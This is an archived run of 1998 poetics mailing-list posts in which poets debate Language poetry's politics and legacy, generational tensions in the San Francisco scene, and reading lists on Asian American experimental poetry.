I guess I would say your blind spot Ron is the idea that the "movement" (a lot of big Langpo readings in SF - men & women! in the late 70s) was So Much Better & Real & Great & Happening & Important than what's happening now. As far as I'm concerned your movement was a failure as political poetry. Wake up & smell the coffee, old guy. Poetry will be political when it does a little better as poetry. A place to start would be to shuck these generational reminiscences & scattered pigeon-like name-droppings that go by the name of "scholarship" or

"criticism" or "the academy". It's a circus - there's the clown act, & then there's the tightrope. - Henry Gould

↑ Index

964. **Aldon Nielsen**
younger and used ta be younger poets
Thu 29 Jan 1998

---

just for the record . . . when I arrived in the Bay area back around '87, "older" poets widely regarded as Language poets were among the warmest with their welcome -- despite their having had no reason to have heard my name from anybody -- Lyn Hejinian, Ron Silliman, Kit Robinson, Bob Perelman, Carla Harryman, and others I do not mean to insult by forgetting to name them at the moment, have over the years since been really unselfish in their encouragement -- quite a contrast to the "is this anyone important enough for me to have to worry about" look I've seen in the eyes of so many writers over the years --

AND, while I have not been checking out anybody's IDs, I believe I've met any number of interesting poets 35-45 in SF who were not likely to be run off by anybody -- Shauna Hannibal and Giovanni Singleton, whose work I've learned of this year, certainly seem to be writing worthwhile work in that city

↑ Index

965. **Dean A. Brink**
Re: As-Am poetics
Thu 29 Jan 1998

I don't know of anything specifically on Asian American experimental poetry, besides a long review article I wrote last year on Myung Mi Kim's The Bounty. http://www.w-link.net/~dean/interpoetics/bountyre.html

Some of the positions taken in the introduction to Premonitions might provide a point of reference. Because of the lack of secondary sources, if you are serious about writing on this topic you might consider tracking down the poets you are interested in and interviewing them.

s. kaipa wrote:

> *I was wondering if anyone has an in-depth (or even cursory) knowledge of "Asian American" (i realize the loadedness of this word and don't mean to instigate much by this kind of categorization, but . . .) experimental poets or "language" poets. Anything about this topic would be of interest to me--any names that I could try to track down or any articles written on the topic of AsAm exp/lang poets.*
>
> *Thanks.*

> *Summi*

--
dean brink

interpoetics - poetry of Asia and the Pacific Rim
www.w-link.net/~dean/interpoetics/index.html

↑ Index

966. **Dean A. Brink**
Re: As-Am poetics
Thu 29 Jan 1998

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>
> *Thanks.*
>
> *Summi*

--
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> *poets or "language" poets. Anything about this topic would be of interest to me--any names that I could try to track down or any articles written on the topic of AsAm exp/lang poets.*
>
> *Thanks.*
>
> *Summi*

--
dean brink

[redacted]

interpoetics - poetry of Asia and the Pacific Rim
www.w-link.net/~dean/interpoetics/index.html

↑ Index

967. **Aldon Nielsen**
Re: Silliman's rib
Thu 29 Jan 1998

---

and if I might plug some related readings -- if anyone is going to read Trotsky I would also like to suggest several writings of C.L.R. James, Raya Dunayevskaya and Grace Lee Boggs --

Notes on Dialectics
State Capitalism and World Revolution
Facing Reality

and from France --

Cornelius Castoriadis had much of value to say on these subjects -- While attending the MLA in Toronto I heard that Castoriadis had just died in Paris --

Blackwell's Castoriadis reader has several relevant texts, written before he decided for psychoanalysis!

↑ Index

968. **Steve Shoemaker**
reasons, raisins & prunes
Fri 30 Jan 1998

Hey, i just found out (see end of following post) that Kit Robinson is tall. Which i guess explains the basketball poems. Now that's why i subscribe to this list!
steve

At 09:03 AM 1/29/98 -0600, you wrote:
>At home today with pneumonia (a relapse), I feel nearly as old as Katy

>Lederer makes me sound. (Having broken a rib coughing makes it worse -- try
>not to be funny for awhile, folks, cause it hurts to laugh.)
>
>I'm intrigued at the responses I've gotten to that "prod" (more a nudge of
>the elbow than the cattle model, thank you) as well as to variant, almost
>parallel discourses hereabouts re visual poetry and the questions of
>academic and/or pedagogic styles that have been swirling hereabouts.
>
>Here are some thoughts from the rocking chair of the Home for Not Yet
>Retired Poets:
>
>Jeff Derksen made the point during our shared talk at the Writers House that
>the larger sense of writing as a project that so many of us old fart
>langpods seem to have had may have been a direct (or indirect) relation to
>our experiences vis a vis the Vietnam War -- and, as I've noted elsewhere,
>language poetry (so called so called), is indeed unimaginable without
>Vietnam (every male poet, for example, had the direct experience of their
>government trying to get them killed for several years, for no intelligible
>reason whatsoever). The idea of a poetry that could change the world
>(however much hubris may have been involved) was a direct consequence of a
>world that need very much to change just to survive.
>
>What is missing today, Jeff either suggested or else made evident through
>implication -- I've not seen a transcript -- may be the social condition as
>such. The social precondition, literally. There is no such social fact as
>the Vietnam conflict now (and the alternatives, global warming, the Gulf War
>[and redux], or the crisis of Clinton's pants, show precisely the gap). To
>expect contemporary young poets to come up with a larger Project in a social
>vaccuum is an unfair expectation.
>
>I'm ready to buy a fair portion of that argument. It resonates, as they say.
>
>Here I think the collapse of the American (and European) left post the fall
>of Communism, big C, is very worth considering. For decades, many on the
>left (me among them) had been saying that the biggest impediment to the
>advance of the left was the presence of those various Stalinoid states. Now
>they go away and instead of a renaissance of western left discourse, we get
>nearly total silence, combined with a little confused muttering.
>
>Now it may be that we are simply in the midst of a breath, a pause, as the
>left listens finally to the silence left in the wake of the old Eastern
>Bloc, and that after an appropriate period (10, 20 years?), it will take up

>again, now freed from the constraints of those perverse but "actually
>existing" examples.
>
>Obviously, such a discourse will have some specific tasks that are already
>clear:
>
>To account for the problem of Stalinism and socialism-in-one-nation
>
>To account for the problem of totalitarianism, per se
>
>To explain how Marxism's explanatory capacity gives way to the problem that
>Marx envision "one world" at least two centuries too soon -- and thus during
>an industrial capitalist phase, when ultimately if it ever shows up (and it
>may not, since it offers so much to the powers that be to keep it from
>happening) it will be in a virtual or post-virtual world
>
>To reexamine the problem of the nation as such (followed by classes, races,
>gender)
>
>To reexamine the possibility of discourse to impact the world under such
>circumstances. (It is in this light that I am looking closely these days at
>Steve Johnson's application of Althusser to the internet via his book and
>the mag Feed, plus Manuel Castell's books on the information society, very
>very closely.)
>
>To reexamine what liberatory movements might then look like, and the
>relationship of poetry thereto.
>
>Just for starters.
>
>I'm sorry if Ms. Lederer feels that the approach I've taken is ageist and
>intellectualist (this is a new one). A lot of poets simply don't read
>younger writers or, if they do, seem to make relatively little out of what
>they read. My goal is to take younger writers absolutely seriously and to
>make demands of them exactly as I do my peers (viz my comments to Bob
>Perelman re his book published in the ILS issue devoted thereto) and my
>elders. I feel certain that there will be those who not only rise to what I
>imagine to be the occasion, but who completely surprise me and force me to
>rethink and redefine the terms of the entire situation. That's what I'm
>waiting anxiously to read.
>
>As for my "stature," at a little under five foot ten, I am at least taller

>than Paul Blackburn was by several inches. But compared with Olson or Kit
>Robinson, this is an index that makes me nervous...
>
>Ron Silliman
>
>

↑ Index

969. **Matthew Hart**
Re: Old Poets Home
Fri 30 Jan 1998

Ron et al:

forgive me that i'm drunk enough to say this.

by which i mean, jeff didn't say this, *you* did -- the coincidence of an earlier conversation about a line from bob perelmam ("is My Lai short for 'My Life'") serves as a reminder. whilst jeff devoted much time to a critique of the strategic (or rather, tactical) problematic of the "group" aesthetic, he didn't appear to offer any kind of sociological explanation for the what i suppose i'll have to get used to calling the "langpod" phenomenon. time to quote, like one of mr. gould's nefarious critics:

According to [redacted]:
>
> Jeff Derksen made the point during our shared talk at the Writers House that
> the larger sense of writing as a project that so many of us old fart
> langpods seem to have had may have been a direct (or indirect) relation to
> our experiences vis a vis the Vietnam War -- and, as I've noted elsewhere,
> language poetry (so called so called), is indeed unimaginable without
> Vietnam (every male poet, for example, had the direct experience of their
> government trying to get them killed for several years, for no intelligible
> reason whatsoever). The idea of a poetry that could change the world
> (however much hubris may have been involved) was a direct consequence of
a
> world that need very much to change just to survive.

this all reminds me, ron, of the final line of one of your essays -- "disappearance of the word"; an essay i still value very much, especially as it introduced me to marx's wonderful "18th brumaire." what was it you invoked then: "the social revolution cannot take its poetry from the past . . . but only from the future?" this is the point of your *philly talks* piece as i understand it; and whilst i agreed with you at the time about the strategic value of the group formation, it

seems invidious to co-opt jeff's somewhat courageous resistance of your terms in this manner.

stop me before i repeat myself as farce,

matt hart.

↑ Index

970. **k. lederer**
Re: younger and used ta be younger poets
Fri 30 Jan 1998

I agree that there are a number of very kind language poets-- I also agree that SF is absolutley packed with terrific young writers: Darin De Stefano, Alex Cory, Pam Lu, Renne Gladman, Mary Burger, Lauren Gudath and so on...but almost all of these (Shauna Hannibal is, I believe, under thirty--and is, I don't think, not over 35--) are under 35. From my perspective, when I lived in that area (between 1990 and 1995), most of the newer writers were somehow or another associated with New College or Berkeley--there was a pronounced absence of comparable writers over 35. Some of these, I believe, were a tad reclusive---and some, like Drew Gardner--moved away while I was there. But the overwhelming majority of them seemed to have left long before. When I first visited New York, I was shocked at how many of the interesting writers and thinkers of that scene were in their thirties, among them: Eleni Sikelianos, Rob Fitterman, Bill Luoma, Douglas Rothschild, Lisa Jarnot, Juliana Spahr and on and on. There was no comparable group in Sf to speak of....

Regards,
Katy

On Thu, 29 Jan 1998, Aldon Nielsen wrote:

> *just for the record . . . when I arrived in the Bay area back around '87, "older" poets widely regarded as Language poets were among the warmest with their welcome -- despite their having had no reason to have heard my name from anybody -- Lyn Hejinian, Ron Silliman, Kit Robinson, Bob Perelman, Carla Harryman, and others I do not mean to insult by forgetting to name them at the moment, have over the years since been really unselfish in their encouragement -- quite a contrast to the "is this anyone important enough for me to have to worry about" look I've seen in the eyes of so many writers over the years --*
>
> *AND, while I have not been checking out anybody's IDs, I believe I've met any number of interesting poets 35-45 in SF who were not likely to be run off by anybody -- Shauna Hannibal and Giovanni Singleton, whose work I've learned of this year, certainly seem to be writing worthwhile work in that city*

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971. **Pierre Joris**
Re: Silliman's rib
Fri 30 Jan 1998

hmm, Ron, I know what you mean when you say that there hasn't been serious left discussions since the downfall of the East European versions of communism. And, one shouldn't forget to add, the downfall of various attempts at socialism — Moscow- or other- styled — in various "Third World" countries. (The most horrid of such experiences being the events in Algeria today).

And yet it also seems to me that there has been a major increase of marxist or marxistoid discourse in the great sandbox of US academia, much of it fashionably post-althusserian, much of it also — & maybe due to the fact that that american hackademy's discourse's hold on reality is so very slim — rather stalinist, i.e. a very vulgarian totalitarianism hiding below the surface sophistication.

Although for the time being ensconced in academia, I certainly don't feel much desire to be involved with that kind of rehash- discourse, and wonder if the 10 / 20 years' time out isn't unavoidable — even if deplorable, given the situation. Except for specific, local actions of resistance and intervention that don't demand a long-term strategy.

Pierre
--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

"What often prevents us from giving ourselves over to
a single vice is that we have several of them."
  — La Rochefoucauld
==========

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972. Pierre Joris
Re: Silliman's rib
Fri 30 Jan 1998

Yes, let's hear it for Castoriadis — any Frenchman (well, by adoption) who hasn't been pecked to stardom yet by the Great American Graduate Department, can't be all bad. And indeed, Castoriadis is truly worthwhile read.

Pierre

Aldon Nielsen wrote:

> *and if I might plug some related readings -- if anyone is going to read Trotsky I would also like to suggest several writings of C.L.R. James, Raya Dunayevskaya and Grace Lee Boggs --*
>
> *Notes on Dialectics*
> *State Capitalism and World Revolution*
> *Facing Reality*
>
> *and from France --*
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> *Cornelius Castoriadis had much of value to say on these subjects -- While attending the MLA in Toronto I heard that Castoriadis had just died in Paris --*
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> *Blackwell's Castoriadis reader has several relevant texts, written before he decided for psychoanalysis!*

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↑ Index

973. David Israel
Re: As-Am poetics
Fri 30 Jan 1998

Summi Kaipa asks,

<< I was wondering if anyone has an in-depth (or even cursory) knowledge of "Asian American" . . . experimental poets or "language" poets. Anything about this topic would be of interest to me--any names that I could try to track down . . . >>

One name worth mention is that of Arthur Tse -- who is (I believe) a second generation (i.e., born in US, from parents born elsewhere) Chinese/American poet based in Santa Fe. I liked his book River/River. More lately, a more prolix little volume entitled *Archipalago* was published by Copper Canyon Press --which unfortunately I've not yet taken time to peruse.

Also to mention: John Yau (New York-based, when last I knew); he has much work (e.g., *Hotel Sayonara*) published by Black Sparrow Press.

Both could likely fit within definitions of "experimental". (I doubt if either poet would dub himself a language poet per se.)

Also to consider: web-based concrete-poetry experiments (etc.) from Sounding Gourd (a.k.a. Dajuin Yao -- a Chinese writer/artist/musician living in Berkeley) -- see: http://www.sinologic.com/webart/ (note -- as appears after several intro-screens -- the "English" toggle-option, which is worth using if one doesn't have a Chinese font on one's browser)

best,
d.i.

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974. Pierre Joris
Re: references, please
Fri 30 Jan 1998

Tom Mandel wrote:

> *... There were some "experimental" poets and writers of a different tendency who later moved (David Levi Strauss comes to mind), and whose publishing efforts (e.g. ACTS) subsided and whose writing slowed down (I haven't seen anything by Levi in a long time, but he may be writing other than poetry).*

Tom -- Levi is well & alive in the Mid-Hudson Valley (or in Kent's terms he joined the Catskill school) & writing much excellent art criticism, some of it in easily accessible places like The Nation.

((& sorry, Bertha, for leaving the real mountain people out but that was just Kent's description of us as the Catskill school — I should have corrected his misapprehensions -- we're just lowly Hudson Valley bottom-feeders & shld thus rightly be known as the MHVBF school --

happy trails

Pierre
--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

"What often prevents us from giving ourselves over to
a single vice is that we have several of them."
  — La Rochefoucauld
==========

↑ Index

975. **Bob Grotjohn**
Re: As-Am poetics
Fri 30 Jan 1998

The essential Asian American experimental work is Theresa Hak Kyung Cha's *Dictee*. See also Walter Lew's *Dictee for Dicte.* And *Writing Self, Writing Nation*, essays on Dictee edited by Elaine Kim and Norma Alarcon.

Other poets to try:
Tan Lin, *Lotion Bullwhip Giraffe*
Mei-Mei Berssenbrugge (sp?), various work. There is an interview with her in a recent issue of The Asian Pacific American Journal.
Myung Mi Kim, *Under Flag*, *Duras* (out yet?)
Lawson Fusao Inada, various poems in *Legends from Camp* and *Drawing the Line* might be considered experimental if not langpo

Juliana Chang has an essay in a last year's issue of MELUS. She makes connections between language poetry and Asian American poetry, though I can't remember if she does it in that essay.

--
Bob Grotjohn

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976. **Tom Mandel**
references, please
Fri 30 Jan 1998

Ron Silliman writes:

"To reexamine the possibility of discourse to impact the world under such circumstances. (It is in this light that I am looking closely these days at Steve Johnson's application of Althusser to the internet via his book and the mag Feed, plus Manuel Castell's books on the information society, very very closely.)"

...references please!

Katy Lederer--who has a lot of interesting stuff to say--has it wrong in her vision of Language poets driving other experimental writers out of SF, I'm happy to say. I can't think of a single case. There were some "experimental" poets and writers of a different tendency who later moved (David Levi Strauss comes to mind), and whose publishing efforts (e.g. ACTS) subsided and whose writing slowed down (I haven't seen anything by Levi in a long time, but he may be writing other than poetry). But, in this case, it was the death of Robert Duncan, around whom the whole effort was centered, that changed their world, not anything any of us did or said.

More accurately, Language poetry inspired a lot of other experimental poets, some of whom became part of the tendency others just friendly to it: I'm thinking of David Bromige, Lyn Hejinian (who was about 35 and had a few books out already when she moved down from Willits to Berkeley to join the fun), Kathy Fraser, and others.

Above all the vision of Ron Silliman as a fascist or as driving anyone away from anywhere, if that's what Katy meant to suggest, is strictly ridiculous. It doesn't accord at all with Ron's openness, friendliness, wide circle of acquaintance, etc.

Certainly there were others who had a reputation for difficult personalities, but were any of them more difficult than Robert Duncan? Life is full of contradictions and conflict, yes? Generosity of mind and achievement do not rule out a difficult even imperious personality, not in my experience at least.

Tom Mandel

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4020 Williamsburg Ct, Ste 200 * vox: [redacted]
Fairfax, VA 22031 * fax: [redacted]
****

Join the Caucus Conversation

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977. **Gwyn McVay**
Re: Material/Physical
Fri 30 Jan 1998

Blake was only ripping off Mahayana Buddhism--dig the crazy rap in the Heart Sutra about "form is emptiness, emptiness is form," and then read about sub-atomic particles drifting in & out of existence, & there you go.

On Thu, 29 Jan 1998, William Marsh wrote:

> *At 05:22 PM 1/28/98 -0500, you wrote:*
> *What was poststructuralism if not a kind of quantum linguistics?*
>
> *i like that / conversely, wasn't all of quantum mechanics predicated on Blake's "Jerusalem"?*
>
> *bill*
>
> *- -*
> *William Marsh*
> *PaperBrainPress*
> *Voice & Range Community Arts*
> *National University*
> [redacted]
> *http://www.dtai.com/~bmarsh*
> *snail: 1860 PB Dr. #4*
> *San Diego, CA 92109*
> *- -*

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978. **Nada Gordon**
driven
Fri 30 Jan 1998

Hisashiburi desu ne. . .

I've just re-subbed to this list after a year or more of being unsubbed thinking I was going to hear about something new, but I've tuned in to find people are still writhing anxiously about language poetry hegemony.

k. lederer wrote:

> *I must say that I have this*
> *attitude mainly because of things I've heard--that a number of primarily male language poets in the 70s and 80s basically drove an entire generation of young writers out of San Francisco because they were so critical of them. Etc. I believe this stuff because I hear it from people*

> *who know--and also because of the strange absence of young "experimental" poets between the ages of 35 and 45 in SF...*

Katy, whose version of the narrative is this? Exactly who are these "people who know"? I'm 34 (so do I fit your category of "an entire generation"?) and was in the thick of that scene for much of the 80's until I found myself in Tokyo in '88.

Certainly I was not *driven out* by criticism from any of that number of primarily male writers! (torches!) Who's granting them that power? Who's so sensitive as to be driven out of a city by criticism? I don't remember any of them being critical of me, just encouraging. Maybe they thought I was an acolyte? Dunno, I didn't feel like one. There may, I confess, have been moments when I fancied myself a baby-language-poet-in-training, but that was a passing phase -- I quickly realized the limits of that self-characterization. I do remember learning a lot.

Yes, that scene *was* sometimes joyless and constricting and abstruse, socially clumsy or flushed with its own importance (the foregoing modifiers could all apply to this list, couldn't they). Still, I and other young writers were choosing to be around the language poets' whoosh of intellectual energy. No one forced us to be there, and no one drove us out. Most of the other young writers I hung out with at the time went back to their hometowns or towards new opportunities, as I did -- San Francisco's miniscule and overcrowded when it comes to job-hunting time. Might be worthwhile to have a look at the economics & demographics of this claim of "young poet flight."

A memory (1983?):

I remember Colette Lafia and I were taking a night class at SFSU from Barry (Watten) on the Russian Formalists. He was driving us home (not driving us *out*), and she and I were talking in the back seat about the class. He turned around from the front seat and said, frustratedly,"I'm really having a hard time getting you guys to understand what 'form' is" (not his exact words).

and I'm still puzzling over that, what is form?

For me that's more interesting to think about than generational power and poetry "politics."

And isn't it a good teacher whose question still resounds fifteen years later?

nada (gordon)

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979. **Nada Gordon**
Copies of AYA still available
Fri 30 Jan 1998

I still have twenty-one copies of AYA left, a one-time-only (maybe) magazine published by myself (Nada Gordon), Andrea Hollowell, and Ewan Colquhoun out of Tokyo.

Contributors include:

Benjamin Friedlander
Alan Davies
Hiraide Takashi
Eric Selland
Eleni Sikelianos
Cid Corman
Colleen Lookingbill
Ewan Colquhoun
Lori Lubeski
Andrea Hollowell
Avery Burns
Nada Gordon
Terayama Shuji
Masaya Saito

with real Japanese endpaper

all for only $5.00

or 500 yen (a better deal with the current exchange rate)

to get your copy, e-mail: [redacted]

and send a check with a little extra for postage

yoroshiku

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980. **Mark Prejsnar**
the revolution will be poeticized
Fri 30 Jan 1998

Ron Silliman brings up so much important stuff about politix, that it's hard to respond adequately....

I don't wanna dismiss the basic truth, that "social reality" is a central component of what we do or don't do politically and socially...

But I've alwasy been a rather egregious example of what on the left is called a "voluntrist." No that doesn't mean I help out at my local hospital gift shop without pay; it means I think that the most fundemental part of getting something done is will, determination. It's more important that (now I'm gonna get real polemical, from many folks' point of view) that we develop socialist and revolutionary (also seriously feminist and anit-racist) values, than that some external *thing* come along, like Vietnam, and swat us on the side of the head. I hasten to add the obvious: Ron S. has been a model of consistency, energy, eloquence, and bullheadedness in representing the socialist edge, in theory and in practice as a public intellectual and in his practice as a poet. Indeed in all these respects, has been a model for me. But I don't think the political *kick* the culture needs, and that we as poets need, is gonna come from unexpected happenings. Thus evocations of the vietnam era make me uncomfortable. It's gonna come from both our practice in our work as poets and from all of us working to build popular movements with what time we can spare outside our work. For me, it has usually been the labor movement plus a number of more specific attempts to at least inject the beginning of social democratic ideas into the immediate sphere of shared discourse, the place where working people like myself encounter Ted Koppell and all those shambling corpses... (Recently, the Independent Progressive Political Network, the Greens, the New Party and the Labor Party, all with many faults but with a chance of reaching the public sphere with slightly left ideas...)

In fact, from my point of view as a poet, it seems like political values live, as part of the body of the work, when they are most internally generated and intensely worked within the soul, within the mind. whether the left poet we are talking about is (to name some of my long-time models) Vallejo, or Eluard, or Brecht,...or Silliman or Bernstein or Harryman or Muller. The sixties and Vietnam triggered a whole lotta terrible political poetry precisely *because* there was an unmediated response to an event that was considered *other* and wasn't linked to all the human problems involved with trying to live and develop political values in the core of one's own life..

Mark P.
@lanta

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981. **MAYHEW**
pumping poetry
Fri 30 Jan 1998

Henry Gould makes some good points. As for poetry as business, promotion and the like, "I too dislike it," which is why the poems I write go straight into

my drawer. How we could have a distribution system free of the corruption he decries I have no idea, and would appreciate suggestions for real reform.

Jonathan Mayhew
Department of Spanish and Portuguese
3062 Wescoe Hall
University of Kansas
[redacted]

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982. Bob Grotjohn
Re: As-Am poetics
Fri 30 Jan 1998

Juliana Chang's essay is in MELUS 21.1 (Spring 1996): 81-98

Trinh T. Minh-ha, various work, is worth a look for theory.

Lisa Lowe, "Heterogeneity, Hybridity, Multiplicity" *Diaspora* 1 (Spring 1990): 24-44. Possible relation to experimental poetics.

Amerasia Journal. Asian American Poetry Issue. 20.3 (1994). A good place to start; various writers positioning themselves.

--
Bob Grotjohn
Mary Baldwin College
Staunton, VA 24401

540/[redacted]

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983. Joseph Conte
CAP-L
Fri 30 Jan 1998

Miekal And asked for information on the Contemporary American Poetry list, or CAP-L, a somewhat more conservative (others would argue "mainstream") discussion list for poetry.

If you want to subscribe (and I un-subbed a while back) I think you can send a message to [redacted] with the message text:

> subscribe cap-l
> end

If you've got the time to wade through ... well, never mind.

Joseph Conte
--

Joseph M. Conte [redacted] x1009
Associate Professor and FAX: [redacted]
Director of Graduate Studies
Department of English
306 Clemens Hall
SUNY at Buffalo
Buffalo, NY 14260-4610 http://writing.upenn.edu/~jconte/

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984. **Tim Yu**
Re: As-Am poetics
Fri 30 Jan 1998

Summi:

Tan Lin has done some really interesting work ("Lotion Bullwhip Giraffe"--someone correct me if that's wrong--is out from Sun & Moon) that's appeared in a number of Asian-American litmags. Of course, there's John Yau's work, which isn't "language" per se but definitely has to come into any consideration of As-Am experimental poetry. The anthology "Premonitions" from Kaya Press is also something you should look into.

This whole question of Asian-American/experimental poetry interests me too. I've had some trouble reconciling my interests in both sides of this term; so much of what passes for As-Am poetry seems like the same safe, tired, personal-lyric formula with a few of the major terms changed around to signal its Asianness (trips to Chinatown for baseball games w/dad, etc., a fixation on food--apparently all we Asian-Americans do is cook and eat and have our parents teach us traditional dishes). But then how does the Asian-American "identity" of an author work into something that's less obviously personal/narrative? (I suppose that the whole debate can get absorbed as material for the work; I get the feeling that Yau's done interesting things with that, but I'm not familiar enough with him to say.)

Anyhow, hope this helps.

Tim Yu

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985. **pritchpa**
Re: maria's questions
Fri 30 Jan 1998

Good point Juliana. This is indeed an oversight. Hank Lazer goes a good ways toward addressing it in _Opposing Poetries_ which I highly recommend to all and sundry. His chapters on Hejinian, Howe and above all on Rachel Blau DuPlessis aim for a much-needed restoration of the scales. I've already decided to write my senior thesis on the growth of contemporary/experimental women poets, which will, I hope form the nucleus of my PhD. dissertation (whenever the hell that happens - wish it were now). I intend not only to examine Howe, Fraser, Dahlen, DuPlessis, Hejinian, Armantrout and other female poets more or less associated with Langpo, but to focus on Mayer, Notley and Waldman, too. And maybe their younger heirs. This is a large ticket to fill I know. But I like thinking big. And I frankly think much of the most interesting writing being done today is being by women.

Patrick Pritchett

From: Juliana Spahr
To: [redacted]
Subject: maria's questions
Date: Thursday, January 29, 1998 12:06AM

This is reductive and I'm not complaining (yet). This is just a gander at a factual answer.

I feel like Maria's questions are because most of the criticism tends to be about male writers or tends to define the scene so as to give more attention to the male writers. And as a critic you, Maria, read the critical books and saw mainly men. Think about it: Hartley, Nealon, Altieri, Conte, McHale, Monroe. (Perloff's work is some sort of exception here and things are changing some--Perelman's book might show some evidence of this.) It is not that these people don't talk about women writers but just that more time has been spent defining various poetries as products of male agency. (The story that L=A=N=G started the movement; the story that "I HATE SPEECH" started the movement; the story that Kit Robinson and Bob Perelman were doing some typing one day: these are all stories that place men as active agents; the parallel stories that Hejinian was doing Tuumba and that Scalapino was doing O and Fraser was doing However have not been written as much.)

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986. **KENT JOHNSON**
A World to Win
Fri 30 Jan 1998

In wake of Ron's Nursing Home post and responses, a conference some may be interested in attending or sendig panel proposals to (accepted through March 2):

"A World to Win: From the *Manifesto* to New Organizing for Socialist Change"

Speakers include Stanley Aronowitz,Manning Marable, Stephen Jay Gould, Frances Fox Piven, numerous others.

March 20-22, NYC, organized by the CUNY Grad Center,
web site at www.soc.qc.edu/ssc

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987. **David Zauhar**
Re: references, please (D. Levi Strauss
Fri 30 Jan 1998

On Fri, 30 Jan 1998, Pierre Joris wrote:

> *Tom Mandel wrote:*
> *"experimental" poets and writers of a different tendency who later moved (David Levi Strauss comes to mind), and whose publishing efforts (e.g. ACTS) subsided and whose writing slowed down (I haven't seen anything by Levi in a long time, but he may be writing other than poetry).*
>
> *Tom -- Levi is well & alive in the Mid-Hudson Valley (or in Kent's terms he joined the Catskill school) & writing much excellent art criticism, some of it in easily accessible places like The Nation.*

I know Acts is long gone, but when it folded (due to funding cutbacks if I remember correctly) David Levi Strauss was still planning a special issue called something like _The R.D. Book_, devoted to Duncan. Anyone know if that actually came out? (if it did, then DLS stiffed me on my subscription). Speaking of Acts: Anyone have a copy of the Spicer special issue they are willing to let me borrow? (I'll pay postage both ways) It apparently sold out rather quickly.

Dave Zauhar

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988. **aerialedge**
a posting to poetics
Fri 30 Jan 1998

Re Ron's post yesterday:

I'd differ with Jeff Derksen by asserting that there are LOTS of projects, plural, among younger writers. That the L=A=N=G thang jelled into a singular recognizable project is contestable. Nevertheless, if as Mr Watten writ "Identity is the cause of war" perhaps "we" don't want one. This may be a possibility because of the multiplicty of influences available. The rather incredible amount of engaging writing available just within the Pound-Stein-Williams etc. tradition allows for such a variety of trajectories among younger poets & within a single author's work that it will take quite a bit of retrospect before "a project" could be identified. That this is the case does not mean that Anselm Berrigan, Edmund Berrigan, Sherry Brennan, Lee Ann Brown, Mary Burger, Steve Carll, Susan Clark, Kevin Davies, Jordan Davis, Tim Davis, Buck Downs, Patrick Durgin, Heather Fuller, Peter Gizzi, Judith Goldman, Lisa Jarnot, Andrew Levy, Bill Luoma, Jennifer Moxley, Melanie Neilson, Sianne Ngai, Hoa Nuyen, Julie Patton, Lisa Robertson, Lisa Samuels, Chris Stroffolino, Juliana Spahr, Rodrigo Toscano, Mark Wallace, Liz Willis, &&& are not engaged in serious critical explorations which are shared & which inform each others work. The work of the writers on the above list cannot reasonably be reduced to the epithet "bland abstract lyric," it just can't. Rather one might say that the context is wider, the number of influences being drawn on & the insistence on the contingency of any given mode is greater, that's all. This feeling that the context of the writing is wider (which it is) may be a response to the obvious fact that the context for actual political action-- for response at that level, has been shattered. Macropolitically, the corporations have won. The evidence of these writers, I think, is that micropolitically, they definitely have not. What that counts for I cannot say, it is certainly a valid kind of resistance-- most recognizably to overly codified modes of thinking about what poetry (i.e. communication) is/can be within educational institutions & for that reason is strongly allied to the continuing project of L=A=N=G=U=A=G=E. Tho it perhaps can/will have larger influence, so one hopes.

I've pointed this out before but will say again, another major difference is the economic circumstance of this group. Re this question witness just the book titles Edge has recently issued: _They Beat Me Over the Head With a Sack_, _Nothing Happened and Besides I Wasn't There_, _perhaps this is a rescue fantasy_, & forthcoming, _Marijuana Softdrink_. It is my contention that there is much *NEW* (superscript tm) in this gen & it is informed by a stunning listening in to an entire tradition which includes L=A=N=G coupled with economic circumstances which often do not allow for the kind of lengthy critical explication one might wish for. Or one might not. I'm not troubled really by giving primacy to the poetic, if a writer's truly concentrated on their work which genre they've chosen at the moment is not the point. It's a matter of the degree of creative engagement, & there's plenty of that. I would define "creative" to include

"critical" by the way. & it may be that identifying "a project" with the amount of discursive critical writing being done is precisely the mistake. It's understandable that this might be thought in the wake of or midst of L=A=N=G but it may be, um, wrong.

Rod Smith

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989. **dbkk**
Missing generation
Fri 30 Jan 1998

Katy Lederer wrote: "a number of primarily male language poets in the 70s and 80s basically drove an entire generation of young writers out of San Francisco because they were so critical of them. Etc. I believe this stuff because I hear it from people who know--and also because of the strange absence of young "experimental" poets between the ages of 35 and 45 in SF..."

This is Kevin Killian (aet 45) . . . Like Katy I too have often noticed the strange absence to young "experimental" poets between the ages of 35 and 45 in SF. I think she's right on the money there, there is a great gap that exists, and I too have often speculated on the reasons why. But Katy, I don't buy the explanation that male language poets drove these people out of the city [OKAY I CAN THINK OF 1 or 2], and I wonder who the "people who know" who told you this might be! Many writers left the Bay Area for the same reason you did--because after Berkeley, what else is there? But there are other reasons too for this gap. Not only in poetry, not only in all the arts, but in every occupation or avocation, there's a missing generation, men and women who might have been 35 to 45 today but who instead died of AIDS. The new wave of miracle drugs that began circa 1991 have slowed the progress of HIV through the body, enabling seropositive people to live longer and more productive lives; but before that, it was like, you got the virus, you died, wham. And many, many of the promising poets and writers in San Francisco, where we enjoy and sometimes even reify our drug use and high risk behaviors, simply died instead of filling the gap that you and I both see.

There's another explanation too and that is IMHO many poets just simply stop writing around the age of 30 or 35. The younger poets who you would kill for now are an exciting crew, but in ten years a third of them will have given up poetry not due to squelching criticism, just due to -- mmm, it's hard to say why. [A second third will have taken their writing into directions you will no longer respect.] I notice this not only in my own generation (since many of the writers whom I thought were genius, when I first moved to San Francisco in 1980, are now silent) (and of course many of them dead) but in other generations too.

(Writing the life of Jack Spicer I saw how many brilliant poems were written by young men and women who were between the ages of 20 and 35 in the forties, fifties, sixties, and then for various reasons just stopped, period). I wonder, looking at an anthology like Juliana's and Peter's "Writing from the New Coast" how many of the poets even in that book--who were the younger poets of five years ago--have since stopped writing. Or, as I look back on the poets Dodie Bellamy and I have published in our zine, "Mirage #4/Period[ical]," hundreds of them by now, and half of them must have been under thirty, I look at the earlier issues and I go into a melancholy mist thinking, Too bad X decided to become a full-time programmer, Too bad Y decided to write for cable TV. Tell you what, back channel me with your list of the young poets of today who are writing the most exciting work and I'll keep it for ten years, then you and I, sitting on our rockers, will uncover the time capsule and work out who is still writing, what they're writing, and who went on with it.

